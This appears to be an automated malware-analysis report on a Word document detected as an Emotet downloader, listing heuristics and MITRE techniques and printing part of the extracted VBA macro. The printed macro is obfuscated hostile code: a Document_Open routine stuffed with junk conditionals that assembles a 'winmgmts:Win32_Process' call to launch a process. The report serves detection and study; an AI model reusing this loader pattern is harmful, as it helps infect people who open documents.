MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, specifically a Document_Open macro, which is a common Emotet infection vector. The macro uses CreateObject to likely download and execute a secondary payload. ClamAV detection further supports the Emotet family attribution.
Heuristics 6
-
ClamAV: Doc.Downloader.Emotet-7443090-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-7443090-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6645 bytes |
SHA-256: 16ce61b873bdc07d1da6eaa6976ccaee1fdc94199e1372e7b24d36e7b6e89371 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Vhlevhzlrqxb"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Yfayveegwub, 0, 0, MSForms, TextBox"
Private Sub Document_open()
Dim Aqdcwpdy, Bwrkgvzmz
If Ranxmehj > Waawgfwp Then
Fqguomfzap = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Oyipqfjlv < Hewqozpcwpd Then
Utizyijp = 766
End If
If Mbnqpqgyqpc < Rvrakmzpkbi Then
Wjmnfxdnkoaia = 833
End If
Dim Ysufbipsnyt, Wippsrejfjdr
If Ezltheml > Kmufkqhzwgrhq Then
Trgtiqoqel = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Elvfldte < Yzobduemwjcio Then
Rwfwwquqp = 766
End If
If Aagdweewshe < Tlrojywxjzt Then
Ijgeizzpuef = 833
End If
Dim Viqywpyvdtyt, Flbylcawun
If Dpcemtrjnsob > Vjztmrrfepxh Then
Qzociclisy = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Bovmwanth < Baycykmhebito Then
Tigmqamipc = 766
End If
If Twuzbzbmcjam < Rbdsvhilh Then
Vbwosjzpst = 833
End If
Jrkroyjjorm
End Sub
Attribute VB_Name = "Dzyxlliw"
Attribute VB_Base = "0{8FF330E8-561A-4D9D-BA26-DBF1F7A4535B}{A6849F37-9570-4F64-86CE-BCBB81FDC4AA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Widwtyocnaqjd"
Function Lckzktbxx(Lnazxwtomvqku)
Dim Rvwnhjwbl, Kfnycnpwzu
If Jbphqfecwd > Xcwznmwqxta Then
Tdddwylelnmr = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Vguogoxbz < Jmxwmpaqoxb Then
Aeellojhkhajd = 766
End If
If Jvremnnmnhzx < Ohugvock Then
Khiyfxnjlgg = 833
End If
Wabiihywvuxqw = Vhlevhzlrqxb.Yfayveegwub
Dim Dlaakorpnmxti, Ytyioqoc
If Zdghaghdn > Kzzhndynaq Then
Limdolfojssk = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Hmfqpvaqnt < Bnpoiqxi Then
Odsshncshovdv = 766
End If
If Jaguuvsfn < Yvjcncpixcyw Then
Nvmkfxrdgy = 833
End If
Yvbysslcbxvgy = Wabiihywvuxqw + Dzyxlliw.Wqkebomuextbo + Dzyxlliw.Huinwncztbspl + Dzyxlliw.Zzzndwjjfhb
Dim Kbnylvcvgmya, Ubnbxskdmo
If Ikxcbvweu > Qrattngzsdv Then
Yytxjhoyk = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Sxdlcdvocl < Xyqqfpvbnf Then
Cczundqfk = 766
End If
If Wjvwoihc < Owysrjjo Then
Mfzizeaazurzj = 833
End If
Biebtmdsvqnxl = Yvbysslcbxvgy + Dzyxlliw.Jkqbxkrwlac + Dzyxlliw.Bjpkkouzzg
Dim Oscgjbyoi, Stnculatiobv
If Uskvraac > Dtpcxcgmdb Then
Yswysaxrmx = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Pjotquqq < Ybvyvgipr Then
Jurythzffwfr = 766
End If
If Oonvikrntt < Ufqjwgch Then
Wuxnrkriski = 833
End If
Lckzktbxx = Ekwqeqvden + Biebtmdsvqnxl + Ekwqeqvden
Dim Tdqvwkcdho, Qxmfmsgk
If Wluzfmls > Gwhygqym Then
Oegagtvroi = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Mrgfbxepsot < Tpnyvttnnmret Then
Qtemktkqsb = 766
End If
If Ihtalvdm < Ttozzyeob Then
Szzkhaej = 833
End If
End Function
Function Jrkroyjjorm()
Dim Uxzqbrufu, Ytjxvcjsk
If Tofvridhkif > Wegzfgbas Then
Gvtanjmcndek = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Ambmuvtvb < Wjnepqallpv Then
Tawckesu = 766
End If
If Ftaoyhalurjr < Xyndyaqexxstz Then
Wiwbpikpbb = 833
End If
Ysxajewgxeltm = a + "win" + b + "mgmt" + c + "s:Win32_P" + d + "rocess"
Dim Ywefxmiyl, Cssuyhyb
If Robkpdakzu > Ztgbhetjzkdc Then
Fhuhogdzgic = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Ihnmbwksz < Zthljhkybzysq Then
Zoamyznwl = 766
End If
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.